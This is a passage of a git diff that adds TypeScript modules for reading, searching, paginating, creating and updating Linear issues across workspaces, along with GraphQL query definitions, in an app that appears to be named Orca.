+    const page = await readIssueConnectionPage(
+      state.entry,
+      state.loadConnection,
+      previousCursor ? { first, after: previousCursor } : { first }
+    )
+    state.items.push(...page.items)
+    state.hasMore = page.hasMore
+    state.after = page.endCursor
+    state.canPage = Boolean(
+      page.hasMore && page.endCursor && page.endCursor !== previousCursor && page.items.length > 0
+    )
+  } catch (error) {
+    state.items = []
+    state.hasMore = false
+    state.canPage = false
+    state.error = linearWorkspaceError(state.entry, error)
+    if (isAuthError(error)) {
+      clearToken(state.entry.workspace.id)
+      if (shouldThrowAuthError(workspaceId)) {
+        throw error
+      }
+    } else {
+      console.warn('[linear] listIssues failed:', error)
+    }
+  } finally {
+    release()
+  }
+}
+
+function findWorkspaceToPageForLimit(
+  states: LinearIssueWorkspacePageState[],
+  limit: number
+): LinearIssueWorkspacePageState | undefined {
+  const merged = sortAndLimitIssues(
+    states.flatMap((state) => state.items),
+    limit
+  )
+  if (merged.length < limit) {
+    return states
+      .filter((state) => state.canPage)
+      .sort((a, b) => getOldestIssueTime(b.items) - getOldestIssueTime(a.items))[0]
+  }
+
+  const cutoff = new Date(merged[limit - 1].updatedAt).getTime()
+  return states
+    .filter((state) => state.canPage && getOldestIssueTime(state.items) > cutoff)
+    .sort((a, b) => getOldestIssueTime(b.items) - getOldestIssueTime(a.items))[0]
+}
+
+function countSelectedIssuesOlderThanWorkspaceBoundary(
+  states: LinearIssueWorkspacePageState[],
+  stateToPage: LinearIssueWorkspacePageState,
+  limit: number
+): number {
+  const boundary = getOldestIssueTime(stateToPage.items)
+  return sortAndLimitIssues(
+    states.flatMap((state) => state.items),
+    limit
+  ).filter((issue) => new Date(issue.updatedAt).getTime() < boundary).length
+}
+
+async function readListIssuesAcrossWorkspaces(
+  entries: LinearClientForWorkspace[],
+  filter: LinearListFilter,
+  limit: number,
+  workspaceId: LinearWorkspaceSelection | null | undefined,
+  options?: LinearIssueListOptions
+): Promise<LinearCollectionResult<LinearIssue>> {
+  const states: LinearIssueWorkspacePageState[] = entries.map((entry) => ({
+    entry,
+    loadConnection: getListIssueConnectionLoader(entry, filter, options),
+    items: [],
+    hasMore: false,
+    canPage: false
+  }))
+  const first = Math.min(LINEAR_ISSUE_API_PAGE_SIZE_MAX, limit)
+
+  // Why: "all workspaces" is a global sorted list. Pull one bounded page per
+  // workspace first, then spend additional API calls only where unseen issues
+  // can still change the global updatedAt cutoff.
+  await Promise.all(states.map((state) => readListIssuesPageForState(state, first, workspaceId)))
+
+  for (;;) {
+    const nextState = findWorkspaceToPageForLimit(states, limit)
+    if (!nextState) {
+      break
+    }
+    const itemCount = states.reduce((count, state) => count + state.items.length, 0)
+    const pageSize =
+      itemCount < limit
+        ? Math.min(LINEAR_ISSUE_API_PAGE_SIZE_MAX, limit - itemCount)
+        : Math.min(
+            LINEAR_ISSUE_API_PAGE_SIZE_MAX,
+            Math.max(1, countSelectedIssuesOlderThanWorkspaceBoundary(states, nextState, limit))
+          )
+    await readListIssuesPageForState(nextState, pageSize, workspaceId)
+  }
+
+  const limited = sortLimitAndDescribeIssues(
+    states.flatMap((state) => state.items),
+    limit
+  )
+  return {
+    items: limited.items,
+    hasMore: states.some((state) => state.hasMore) || limited.clipped,
+    errors: states.flatMap((state) => (state.error ? [state.error] : []))
+  }
+}
+
+export async function listIssues(
+  filter: LinearListFilter = 'assigned',
+  limit = 20,
+  workspaceId?: LinearWorkspaceSelection | null,
+  options?: LinearIssueListOptions
+): Promise<LinearCollectionResult<LinearIssue>> {
+  const effectiveLimit = clampLinearIssueListLimit(limit)
+  const attributeFilter = options?.attributeFilter
+  // Why: workspace-specific state/member/label ids cannot fan out safely across
+  // "all" workspaces; reject before creating clients so non-UI callers cannot
+  // get a misleading partial subset.
+  if (
+    attributeFilter &&
+    !isEmptyLinearIssueAttributeFilter(attributeFilter) &&
+    workspaceId === 'all'
+  ) {
+    throw new Error(
+      'Linear attribute filters require a concrete workspace; "all" workspaces is not supported.'
+    )
+  }
+  const entries = getClients(workspaceId)
+  if (entries.length === 0) {
+    return { items: [] }
+  }
+
+  if (entries.length === 1) {
+    return readListIssuesForWorkspace(entries[0], filter, effectiveLimit, workspaceId, options)
+  }
+
+  return readListIssuesAcrossWorkspaces(entries, filter, effectiveLimit, workspaceId, options)
+}
diff --git a/src/main/linear/linear-issue-lookups.ts b/src/main/linear/linear-issue-lookups.ts
new file mode 100644
index 00000000000..f79cc826162
--- /dev/null
+++ b/src/main/linear/linear-issue-lookups.ts
@@ -0,0 +1,177 @@
+import type { LinearIssue } from '../../shared/linear/issue-types'
+import type { LinearWorkspaceSelection } from '../../shared/linear/workspace-types'
+import { acquire, release } from './linear-request-concurrency'
+import { clearToken } from './linear-token-store'
+import { getClients, isAuthError } from './client'
+import {
+  ATTACHMENT_BY_UUID_QUERY,
+  COMMENT_BY_UUID_QUERY,
+  ISSUE_BY_UUID_QUERY,
+  SEARCH_ISSUES_QUERY,
+  type LinearAttachmentByUuidResponse,
+  type LinearCommentByUuidResponse,
+  type LinearIssueByUuidResponse,
+  type LinearIssueConnectionResponse,
+  type LinearRawVariables
+} from './linear-issue-query-documents'
+import {
+  mapIssueForWorkspace,
+  mapRawIssueForWorkspace,
+  shouldThrowAuthError,
+  sortAndLimitIssues
+} from './linear-issue-query-support'
+import {
+  mapRawAttachmentWriteRecord,
+  mapRawCommentWriteRecord,
+  mapRawIssueWriteRecord,
+  runLinearLookup,
+  type LinearAttachmentWriteRecord,
+  type LinearCommentWriteRecord,
+  type LinearIssueWriteRecord
+} from './linear-issue-write-support'
+
+export async function getIssue(
+  id: string,
+  workspaceId?: LinearWorkspaceSelection | null
+): Promise<LinearIssue | null> {
+  const entries = getClients(workspaceId)
+  if (entries.length === 0) {
+    return null
+  }
+
+  for (const entry of entries) {
+    await acquire()
+    try {
+      const issue = await entry.client.issue(id)
+      return await mapIssueForWorkspace(entry, issue, {
+        includeChildren: true,
+        includeProject: true
+      })
+    } catch (error) {
+      if (isAuthError(error)) {
+        clearToken(entry.workspace.id)
+        if (shouldThrowAuthError(workspaceId)) {
+          throw error
+        }
+      } else {
+        console.warn('[linear] getIssue failed:', error)
+      }
+    } finally {
+      release()
+    }
+  }
+  return null
+}
+
+export async function getIssueByUuidForAgent(
+  id: string,
+  workspaceId?: string | null
+): Promise<LinearIssueWriteRecord | null> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    return null
+  }
+
+  return runLinearLookup(entry, async () => {
+    const result = await entry.client.client.rawRequest<
+      LinearIssueByUuidResponse,
+      LinearRawVariables
+    >(ISSUE_BY_UUID_QUERY, { id })
+    const issue = result.data?.issue ?? null
+    return issue ? mapRawIssueWriteRecord(issue) : null
+  })
+}
+
+export async function getCommentByUuidForAgent(
+  id: string,
+  workspaceId?: string | null
+): Promise<LinearCommentWriteRecord | null> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    return null
+  }
+
+  return runLinearLookup(entry, async () => {
+    const result = await entry.client.client.rawRequest<
+      LinearCommentByUuidResponse,
+      LinearRawVariables
+    >(COMMENT_BY_UUID_QUERY, { id })
+    const comment = result.data?.comment
+    return comment ? mapRawCommentWriteRecord(comment) : null
+  })
+}
+
+export async function getAttachmentByUuidForAgent(
+  id: string,
+  workspaceId?: string | null
+): Promise<LinearAttachmentWriteRecord | null> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    return null
+  }
+
+  return runLinearLookup(entry, async () => {
+    const result = await entry.client.client.rawRequest<
+      LinearAttachmentByUuidResponse,
+      LinearRawVariables
+    >(ATTACHMENT_BY_UUID_QUERY, { id })
+    const attachment = result.data?.attachment
+    return attachment ? mapRawAttachmentWriteRecord(attachment) : null
+  })
+}
+
+export async function getIssueCommentThreadRoot(
+  issueId: string,
+  commentId: string,
+  workspaceId?: string | null
+): Promise<{ id: string; parentId: string | null } | null> {
+  const comment = await getCommentByUuidForAgent(commentId, workspaceId)
+  if (!comment || comment.issue.id !== issueId) {
+    return null
+  }
+  return { id: comment.threadRootId ?? comment.id, parentId: comment.parentId }
+}
+
+export async function searchIssues(
+  query: string,
+  limit = 20,
+  workspaceId?: LinearWorkspaceSelection | null
+): Promise<LinearIssue[]> {
+  const entries = getClients(workspaceId)
+  if (entries.length === 0) {
+    return []
+  }
+
+  const results = await Promise.all(
+    entries.map(async (entry) => {
+      await acquire()
+      try {
+        const result = await entry.client.client.rawRequest<
+          LinearIssueConnectionResponse,
+          LinearRawVariables
+        >(SEARCH_ISSUES_QUERY, { term: query, first: limit })
+        const nodes = result.data?.searchIssues?.nodes ?? []
+        return nodes.map((issue) => mapRawIssueForWorkspace(entry, issue))
+      } catch (error) {
+        if (isAuthError(error)) {
+          clearToken(entry.workspace.id)
+          if (shouldThrowAuthError(workspaceId)) {
+            throw error
+          }
+        } else {
+          console.warn('[linear] searchIssues failed:', error)
+        }
+        return []
+      } finally {
+        release()
+      }
+    })
+  )
+  // Why: searchIssues returns Linear's relevance ranking. Re-sorting by
+  // updatedAt would discard relevance order for single-workspace results,
+  // diverging from Linear's web UI and pre-PR behavior.
+  if (entries.length === 1) {
+    return results.flat().slice(0, limit)
+  }
+  return sortAndLimitIssues(results.flat(), limit)
+}
diff --git a/src/main/linear/linear-issue-mutations.ts b/src/main/linear/linear-issue-mutations.ts
new file mode 100644
index 00000000000..4cb5037894d
--- /dev/null
+++ b/src/main/linear/linear-issue-mutations.ts
@@ -0,0 +1,273 @@
+import type { LinearClient } from '@linear/sdk'
+import type { LinearIssueUpdate } from '../../shared/issue-mutation-types'
+import { acquire, release } from './linear-request-concurrency'
+import { clearToken } from './linear-token-store'
+import { getClients, isAuthError } from './client'
+import {
+  ISSUE_BY_UUID_QUERY,
+  type LinearIssueByUuidResponse,
+  type LinearRawVariables
+} from './linear-issue-query-documents'
+import {
+  LinearWriteFailure,
+  confirmLinearWrite,
+  mapRawIssueWriteRecord,
+  runLinearWrite,
+  type LinearIssueWriteRecord
+} from './linear-issue-write-support'
+
+export async function createIssue(
+  teamId: string,
+  title: string,
+  description?: string,
+  workspaceId?: string | null,
+  options?: {
+    id?: string
+    parentId?: string
+    projectId?: string | null
+    stateId?: string
+    priority?: number
+    estimate?: number | null
+    dueDate?: string | null
+    assigneeId?: string | null
+    labelIds?: string[]
+  }
+): Promise<
+  | { ok: true; id: string; identifier: string; title: string; url: string }
+  | { ok: false; error: string }
+> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    return { ok: false, error: 'Not connected to Linear' }
+  }
+
+  await acquire()
+  try {
+    const result = await entry.client.createIssue({
+      ...(options?.id ? { id: options.id } : {}),
+      teamId,
+      title,
+      ...(description ? { description } : {}),
+      ...(options?.parentId ? { parentId: options.parentId } : {}),
+      ...(options?.projectId ? { projectId: options.projectId } : {}),
+      ...(options?.stateId ? { stateId: options.stateId } : {}),
+      ...(options?.priority !== undefined ? { priority: options.priority } : {}),
+      ...(options?.estimate !== undefined ? { estimate: options.estimate } : {}),
+      ...(options?.dueDate !== undefined ? { dueDate: options.dueDate } : {}),
+      ...(options?.assigneeId ? { assigneeId: options.assigneeId } : {}),
+      ...(options?.labelIds ? { labelIds: options.labelIds } : {})
+    })
+    if (!result.success) {
+      return { ok: false, error: 'Linear create failed' }
+    }
+    const issue = await result.issue
+    if (!issue) {
+      return { ok: false, error: 'Issue was created but could not be retrieved' }
+    }
+    return {
+      ok: true,
+      id: issue.id,
+      identifier: issue.identifier,
+      title: issue.title,
+      url: issue.url
+    }
+  } catch (error) {
+    if (isAuthError(error)) {
+      clearToken(entry.workspace.id)
+      throw error
+    }
+    const message = error instanceof Error ? error.message : String(error)
+    return { ok: false, error: message }
+  } finally {
+    release()
+  }
+}
+
+export async function createIssueForAgent(
+  teamId: string,
+  title: string,
+  description: string | undefined,
+  workspaceId: string,
+  options: {
+    id: string
+    parentId?: string | null
+    projectId?: string | null
+    stateId?: string
+    assigneeId?: string | null
+    priority?: number
+    estimate?: number | null
+    dueDate?: string | null
+    labelIds?: string[]
+    signal?: AbortSignal
+  }
+): Promise<LinearIssueWriteRecord> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    throw new LinearWriteFailure('failed', 'Not connected to Linear')
+  }
+
+  return runLinearWrite(entry, options.signal, async (client) => {
+    const result = await client.createIssue({
+      id: options.id,
+      teamId,
+      title,
+      ...(description ? { description } : {}),
+      ...(options.parentId ? { parentId: options.parentId } : {}),
+      ...(options.projectId ? { projectId: options.projectId } : {}),
+      ...(options.stateId ? { stateId: options.stateId } : {}),
+      ...(options.assigneeId !== undefined ? { assigneeId: options.assigneeId } : {}),
+      ...(options.priority !== undefined ? { priority: options.priority } : {}),
+      ...(options.estimate !== undefined ? { estimate: options.estimate } : {}),
+      ...(options.dueDate !== undefined ? { dueDate: options.dueDate } : {}),
+      ...(options.labelIds !== undefined ? { labelIds: options.labelIds } : {})
+    })
+    if (!result.success) {
+      throw new LinearWriteFailure('failed', 'Linear create failed')
+    }
+    const issue = await confirmLinearWrite(
+      'Issue was created but could not be retrieved',
+      async () => result.issue
+    )
+    if (!issue?.id) {
+      throw new LinearWriteFailure('unconfirmed', 'Issue was created but could not be retrieved')
+    }
+    return confirmLinearWrite('Issue was created but could not be retrieved', () =>
+      getCreatedIssueRecord(issue.id, client)
+    )
+  })
+}
+
+async function getCreatedIssueRecord(
+  issueId: string,
+  client: LinearClient
+): Promise<LinearIssueWriteRecord> {
+  const result = await client.client.rawRequest<LinearIssueByUuidResponse, LinearRawVariables>(
+    ISSUE_BY_UUID_QUERY,
+    { id: issueId }
+  )
+  const record = result.data?.issue ?? null
+  if (!record) {
+    throw new LinearWriteFailure('unconfirmed', 'Issue was created but could not be retrieved')
+  }
+  return mapRawIssueWriteRecord(record)
+}
+
+export async function updateIssue(
+  id: string,
+  updates: LinearIssueUpdate,
+  workspaceId?: string | null
+): Promise<{ ok: true } | { ok: false; error: string }> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    return { ok: false, error: 'Not connected to Linear' }
+  }
+
+  await acquire()
+  try {
+    // Why: labelIds is a full-replace field — a TOCTOU race exists if another
+    // user changes labels between fetch and write. The caller passes the
+    // complete set built from recently-fetched data. Acceptable for v1;
+    // a future version could re-fetch right before writing or use webhooks.
+    const resolvedLabelIds = updates.labelIds
+
+    const payload: Record<string, unknown> = {}
+    if (updates.stateId !== undefined) {
+      payload.stateId = updates.stateId
+    }
+    if (updates.title !== undefined) {
+      payload.title = updates.title
+    }
+    if (updates.description !== undefined) {
+      payload.description = updates.description
+    }
+    if (updates.assigneeId !== undefined) {
+      payload.assigneeId = updates.assigneeId
+    }
+    if (updates.estimate !== undefined) {
+      payload.estimate = updates.estimate
+    }
+    if (updates.priority !== undefined) {
+      payload.priority = updates.priority
+    }
+    if (updates.dueDate !== undefined) {
+      payload.dueDate = updates.dueDate
+    }
+    if (resolvedLabelIds !== undefined) {
+      payload.labelIds = resolvedLabelIds
+    }
+    if (updates.projectId !== undefined) {
+      payload.projectId = updates.projectId
+    }
+    if (updates.parentId !== undefined) {
+      payload.parentId = updates.parentId
+    }
+
+    const result = await entry.client.updateIssue(id, payload)
+    if (!result.success) {
+      return { ok: false, error: 'Linear update failed' }
+    }
+    return { ok: true }
+  } catch (error) {
+    if (isAuthError(error)) {
+      clearToken(entry.workspace.id)
+      throw error
+    }
+    const message = error instanceof Error ? error.message : String(error)
+    return { ok: false, error: message }
+  } finally {
+    release()
+  }
+}
+
+export async function updateIssueForAgent(
+  id: string,
+  updates: LinearIssueUpdate,
+  workspaceId: string,
+  options: { signal?: AbortSignal } = {}
+): Promise<LinearIssueWriteRecord> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    throw new LinearWriteFailure('failed', 'Not connected to Linear')
+  }
+
+  return runLinearWrite(entry, options.signal, async (client) => {
+    const payload: Record<string, unknown> = {}
+    if (updates.stateId !== undefined) {
+      payload.stateId = updates.stateId
+    }
+    if (updates.title !== undefined) {
+      payload.title = updates.title
+    }
+    if (updates.description !== undefined) {
+      payload.description = updates.description
+    }
+    if (updates.assigneeId !== undefined) {
+      payload.assigneeId = updates.assigneeId
+    }
+    if (updates.priority !== undefined) {
+      payload.priority = updates.priority
+    }
+    if (updates.estimate !== undefined) {
+      payload.estimate = updates.estimate
+    }
+    if (updates.dueDate !== undefined) {
+      payload.dueDate = updates.dueDate
+    }
+    if (updates.labelIds !== undefined) {
+      payload.labelIds = updates.labelIds
+    }
+    if (updates.projectId !== undefined) {
+      payload.projectId = updates.projectId
+    }
+    if (updates.parentId !== undefined) {
+      payload.parentId = updates.parentId
+    }
+    const result = await client.updateIssue(id, payload)
+    if (!result.success) {
+      throw new LinearWriteFailure('failed', 'Linear update failed')
+    }
+    return confirmLinearWrite('Issue was updated but could not be retrieved', () =>
+      getCreatedIssueRecord(id, client)
+    )
+  })
+}
diff --git a/src/main/linear/linear-issue-query-documents.ts b/src/main/linear/linear-issue-query-documents.ts
new file mode 100644
index 00000000000..a573c013672
--- /dev/null
+++ b/src/main/linear/linear-issue-query-documents.ts
@@ -0,0 +1,284 @@
+import type { LinearIssueAttributeFilter } from '../../shared/linear/issue-attribute-filter'
+import type { LinearIssueWriteRecord } from './linear-issue-write-support'
+
+export type LinearIssueListOptions = {
+  teamId?: string
+  attributeFilter?: LinearIssueAttributeFilter | null
+}
+
+export type LinearIssueNode = {
+  id: string
+  identifier: string
+  title: string
+  branchName?: string | null
+  description?: string | null
+  url: string
+  dueDate?: string | null
+  estimate?: number | null
+  priority: number
+  updatedAt: string
+  labelIds?: string[] | null
+  state?: {
+    name?: string | null
+    type?: string | null
+    color?: string | null
+  } | null
+  team?: {
+    id?: string | null
+    name?: string | null
+    key?: string | null
+  } | null
+  assignee?: {
+    id: string
+    displayName: string
+    avatarUrl?: string | null
+  } | null
+  labels?: {
+    nodes?: { id: string; name: string }[]
+  } | null
+}
+
+export type LinearIssueConnectionResponse = {
+  searchIssues?: { nodes?: LinearIssueNode[] }
+  issues?: LinearIssueConnection
+  viewer?: {
+    assignedIssues?: LinearIssueConnection
+    createdIssues?: LinearIssueConnection
+  }
+}
+
+export type LinearIssueConnection = {
+  nodes?: LinearIssueNode[]
+  pageInfo?: {
+    hasNextPage?: boolean
+    endCursor?: string | null
+  }
+}
+
+export type LinearRawVariables = Record<string, unknown>
+export type LinearIssuePageRequest = {
+  first: number
+  after?: string
+}
+export type LinearIssueConnectionLoader = (
+  page: LinearIssuePageRequest
+) => Promise<LinearIssueConnection | null | undefined>
+export const LINEAR_ISSUE_NODE_FIELDS = `
+  id
+  identifier
+  title
+  branchName
+  description
+  url
+  dueDate
+  priority
+  estimate
+  updatedAt
+  labelIds
+  state {
+    name
+    type
+    color
+  }
+  team {
+    id
+    name
+    key
+  }
+  assignee {
+    id
+    displayName
+    avatarUrl
+  }
+  labels(first: 50) {
+    nodes {
+      id
+      name
+    }
+  }
+`
+
+export const SEARCH_ISSUES_QUERY = `
+  query OrcaLinearIssueSearch($term: String!, $first: Int) {
+    searchIssues(term: $term, first: $first) {
+      nodes {
+        ${LINEAR_ISSUE_NODE_FIELDS}
+      }
+    }
+  }
+`
+
+export const ALL_ISSUES_QUERY = `
+  query OrcaLinearIssues(
+    $first: Int,
+    $after: String,
+    $filter: IssueFilter,
+    $orderBy: PaginationOrderBy
+  ) {
+    issues(first: $first, after: $after, filter: $filter, orderBy: $orderBy) {
+      nodes {
+        ${LINEAR_ISSUE_NODE_FIELDS}
+      }
+      pageInfo {
+        hasNextPage
+        endCursor
+      }
+    }
+  }
+`
+
+export const VIEWER_ASSIGNED_ISSUES_QUERY = `
+  query OrcaLinearViewerAssignedIssues(
+    $first: Int,
+    $after: String,
+    $filter: IssueFilter,
+    $orderBy: PaginationOrderBy
+  ) {
+    viewer {
+      assignedIssues(first: $first, after: $after, filter: $filter, orderBy: $orderBy) {
+        nodes {
+          ${LINEAR_ISSUE_NODE_FIELDS}
+        }
+        pageInfo {
+          hasNextPage
+          endCursor
+        }
+      }
+    }
+  }
+`
+
+export const VIEWER_CREATED_ISSUES_QUERY = `
+  query OrcaLinearViewerCreatedIssues(
+    $first: Int,
+    $after: String,
+    $filter: IssueFilter,
+    $orderBy: PaginationOrderBy
+  ) {
+    viewer {
+      createdIssues(first: $first, after: $after, filter: $filter, orderBy: $orderBy) {
+        nodes {
+          ${LINEAR_ISSUE_NODE_FIELDS}
+        }
+        pageInfo {
+          hasNextPage
+          endCursor
+        }
+      }
+    }
+  }
+`
+
+export const AGENT_ISSUE_WRITE_FIELDS = `
+  id
+  identifier
+  title
+  description
+  url
+  team { id key name }
+  state { id name }
+  parent { id identifier }
+  project { id name }
+  assignee { id displayName }
+  priority
+  estimate
+  dueDate
+  labelIds
+  labels(first: 50) { nodes { id name } }
+`
+
+export const ISSUE_BY_UUID_QUERY = `
+  query OrcaLinearIssueByUuid($id: String!) {
+    issue(id: $id) {
+      ${AGENT_ISSUE_WRITE_FIELDS}
+    }
+  }
+`
+
+export const COMMENT_BY_UUID_QUERY = `
+  query OrcaLinearCommentByUuid($id: String!) {
+    comment(id: $id) {
+      id
+      url
+      body
+      parent { id }
+      issue { id identifier url }
+    }
+  }
+`
+
+export const ATTACHMENT_BY_UUID_QUERY = `
+  query OrcaLinearAttachmentByUuid($id: String!) {
+    attachment(id: $id) {
+      id
+      title
+      url
+      issue { id identifier url }
+    }
+  }
+`
+
+// Why: fetch comments with their author in a single request. Accessing
+// `.user` on the SDK's Comment model lazily issues one user(id) query per
+// comment, so the previous loop was an N+1 (issue + comments + N user
+// fetches, all sequential while holding a shared Linear concurrency slot).
+// first: 50 matches the SDK default page size the previous code relied on.
+export const ISSUE_COMMENTS_QUERY = `
+  query OrcaLinearIssueComments($id: String!) {
+    issue(id: $id) {
+      comments(first: 50) {
+        nodes {
+          id
+          body
+          createdAt
+          user {
+            displayName
+            avatarUrl
+          }
+        }
+      }
+    }
+  }
+`
+
+export type LinearIssueByUuidResponse = {
+  issue?:
+    | (Omit<LinearIssueWriteRecord, 'labels'> & {
+        labels?: { nodes?: { id: string; name: string }[] } | null
+      })
+    | null
+}
+
+export type LinearCommentByUuidResponse = {
+  comment?: {
+    id: string
+    url?: string | null
+    body?: string | null
+    parent?: { id?: string | null } | null
+    issue?: { id?: string | null; identifier?: string | null; url?: string | null } | null
+  } | null
+}
+
+export type LinearAttachmentByUuidResponse = {
+  attachment?: {
+    id: string
+    title?: string | null
+    url?: string | null
+    issue?: { id?: string | null; identifier?: string | null; url?: string | null } | null
+  } | null
+}
+
+export type LinearIssueCommentsResponse = {
+  issue?: {
+    comments?: {
+      nodes?:
+        | {
+            id: string
+            body?: string | null
+            createdAt?: string | null
+            user?: { displayName?: string | null; avatarUrl?: string | null } | null
+          }[]
+        | null
+    } | null
+  } | null
+}
diff --git a/src/main/linear/linear-issue-query-support.ts b/src/main/linear/linear-issue-query-support.ts
new file mode 100644
index 00000000000..216fb5f9b80
--- /dev/null
+++ b/src/main/linear/linear-issue-query-support.ts
@@ -0,0 +1,196 @@
+import type { LinearIssue } from '../../shared/linear/issue-types'
+import type { LinearWorkspaceSelection } from '../../shared/linear/workspace-types'
+import { LINEAR_ISSUE_API_PAGE_SIZE_MAX } from '../../shared/linear/issue-read-limits'
+import { buildLinearListIssueFilter } from './issue-list-filter'
+import { mapLinearIssue } from './mappers'
+import {
+  ALL_ISSUES_QUERY,
+  VIEWER_ASSIGNED_ISSUES_QUERY,
+  VIEWER_CREATED_ISSUES_QUERY,
+  type LinearIssueConnectionLoader,
+  type LinearIssueConnectionResponse,
+  type LinearIssueListOptions,
+  type LinearIssueNode,
+  type LinearRawVariables
+} from './linear-issue-query-documents'
+import type { LinearClientForWorkspace } from './client'
+import type { LinearListFilter } from './linear-issue-listing'
+
+export async function mapIssueForWorkspace(
+  entry: LinearClientForWorkspace,
+  issue: Parameters<typeof mapLinearIssue>[0],
+  options?: Parameters<typeof mapLinearIssue>[1]
+): Promise<LinearIssue> {
+  const mapped = await mapLinearIssue(issue, options)
+  return {
+    ...mapped,
+    workspaceId: entry.workspace.id,
+    workspaceName: entry.workspace.organizationName
+  }
+}
+
+export function sortAndLimitIssues(issues: LinearIssue[], limit: number): LinearIssue[] {
+  return issues
+    .sort((a, b) => new Date(b.updatedAt).getTime() - new Date(a.updatedAt).getTime())
+    .slice(0, limit)
+}
+
+export function sortLimitAndDescribeIssues(
+  issues: LinearIssue[],
+  limit: number
+): { items: LinearIssue[]; clipped: boolean } {
+  const sorted = issues.sort(
+    (a, b) => new Date(b.updatedAt).getTime() - new Date(a.updatedAt).getTime()
+  )
+  return {
+    items: sorted.slice(0, limit),
+    clipped: sorted.length > limit
+  }
+}
+
+export function mapRawIssueForWorkspace(
+  entry: LinearClientForWorkspace,
+  issue: LinearIssueNode
+): LinearIssue {
+  const labelNodes = issue.labels?.nodes ?? []
+  return {
+    id: issue.id,
+    identifier: issue.identifier,
+    title: issue.title,
+    branchName: issue.branchName ?? undefined,
+    description: issue.description ?? undefined,
+    url: issue.url,
+    state: {
+      name: issue.state?.name ?? '',
+      type: issue.state?.type ?? '',
+      color: issue.state?.color ?? ''
+    },
+    team: {
+      id: issue.team?.id ?? '',
+      name: issue.team?.name ?? '',
+      key: issue.team?.key ?? ''
+    },
+    labels: labelNodes.map((label) => label.name),
+    // Why: labelIds drives full-replace updates. Keep Linear's complete id
+    // list even when display label nodes are paginated.
+    labelIds: issue.labelIds ?? labelNodes.map((label) => label.id),
+    assignee: issue.assignee
+      ? {
+          id: issue.assignee.id,
+          displayName: issue.assignee.displayName,
+          avatarUrl: issue.assignee.avatarUrl ?? undefined
+        }
+      : undefined,
+    estimate: issue.estimate ?? null,
+    priority: issue.priority,
+    dueDate: issue.dueDate ?? null,
+    updatedAt: issue.updatedAt,
+    workspaceId: entry.workspace.id,
+    workspaceName: entry.workspace.organizationName
+  }
+}
+
+export async function readIssueConnectionPages(
+  entry: LinearClientForWorkspace,
+  limit: number,
+  loadConnection: LinearIssueConnectionLoader
+): Promise<{ items: LinearIssue[]; hasMore: boolean }> {
+  const items: LinearIssue[] = []
+  let after: string | undefined
+  let hasMore = false
+
+  while (items.length < limit) {
+    // Why: Linear caps connection pages at 50, so larger Orca reads must walk
+    // cursors instead of asking for the whole expanded limit in one request.
+    const first = Math.min(LINEAR_ISSUE_API_PAGE_SIZE_MAX, limit - items.length)
+    const connection = await loadConnection(after ? { first, after } : { first })
+    const nodes = connection?.nodes ?? []
+    items.push(...nodes.map((issue) => mapRawIssueForWorkspace(entry, issue)))
+    hasMore = Boolean(connection?.pageInfo?.hasNextPage)
+
+    const nextCursor = connection?.pageInfo?.endCursor ?? undefined
+    if (!hasMore || !nextCursor || nextCursor === after || nodes.length === 0) {
+      break
+    }
+    after = nextCursor
+  }
+
+  return { items, hasMore }
+}
+
+export function getOldestIssueTime(issues: LinearIssue[]): number {
+  const oldestIssue = issues.at(-1)
+  return oldestIssue ? new Date(oldestIssue.updatedAt).getTime() : Number.POSITIVE_INFINITY
+}
+
+export function getListIssueConnectionLoader(
+  entry: LinearClientForWorkspace,
+  filter: LinearListFilter,
+  options?: LinearIssueListOptions
+): LinearIssueConnectionLoader {
+  const orderBy = 'updatedAt'
+  const variables = { orderBy }
+  // Why: apply attribute + team filters in GraphQL variables before the first-N
+  // cursor walk so pagination hasMore matches the filtered set.
+  const filterInput = buildLinearListIssueFilter({
+    filter,
+    teamId: options?.teamId,
+    attributeFilter: options?.attributeFilter
+  })
+
+  if (filter === 'assigned') {
+    return async (page) => {
+      const result = await entry.client.client.rawRequest<
+        LinearIssueConnectionResponse,
+        LinearRawVariables
+      >(VIEWER_ASSIGNED_ISSUES_QUERY, {
+        ...variables,
+        ...page,
+        filter: filterInput
+      })
+      return result.data?.viewer?.assignedIssues
+    }
+  }
+
+  if (filter === 'created') {
+    return async (page) => {
+      const result = await entry.client.client.rawRequest<
+        LinearIssueConnectionResponse,
+        LinearRawVariables
+      >(VIEWER_CREATED_ISSUES_QUERY, {
+        ...variables,
+        ...page,
+        filter: filterInput
+      })
+      return result.data?.viewer?.createdIssues
+    }
+  }
+
+  if (filter === 'completed') {
+    return async (page) => {
+      const result = await entry.client.client.rawRequest<
+        LinearIssueConnectionResponse,
+        LinearRawVariables
+      >(VIEWER_ASSIGNED_ISSUES_QUERY, {
+        ...variables,
+        ...page,
+        filter: filterInput
+      })
+      return result.data?.viewer?.assignedIssues
+    }
+  }
+
+  return async (page) => {
+    const result = await entry.client.client.rawRequest<
+      LinearIssueConnectionResponse,
+      LinearRawVariables
+    >(ALL_ISSUES_QUERY, { ...variables, ...page, filter: filterInput })
+    return result.data?.issues
+  }
+}
+
+export function shouldThrowAuthError(
+  selection: LinearWorkspaceSelection | null | undefined
+): boolean {
+  return selection !== 'all'
+}
diff --git a/src/main/linear/linear-issue-write-support.ts b/src/main/linear/linear-issue-write-support.ts
new file mode 100644
index 00000000000..400927f1ebb
--- /dev/null
+++ b/src/main/linear/linear-issue-write-support.ts
@@ -0,0 +1,229 @@
+import type { LinearClient } from '@linear/sdk'
+import { loadLinearSdk } from './linear-sdk'
+import { acquire, release } from './linear-request-concurrency'
+import { clearToken } from './linear-token-store'
+import { isAuthError, type LinearClientForWorkspace } from './client'
+import type {
+  LinearAttachmentByUuidResponse,
+  LinearCommentByUuidResponse,
+  LinearIssueByUuidResponse
+} from './linear-issue-query-documents'
+
+export type LinearWriteFailureKind = 'duplicate_id' | 'failed' | 'network' | 'unconfirmed'
+
+export class LinearWriteFailure extends Error {
+  readonly kind: LinearWriteFailureKind
+  readonly cause: unknown
+
+  constructor(kind: LinearWriteFailureKind, message: string, cause?: unknown) {
+    super(message)
+    this.name = 'LinearWriteFailure'
+    this.kind = kind
+    this.cause = cause
+  }
+}
+
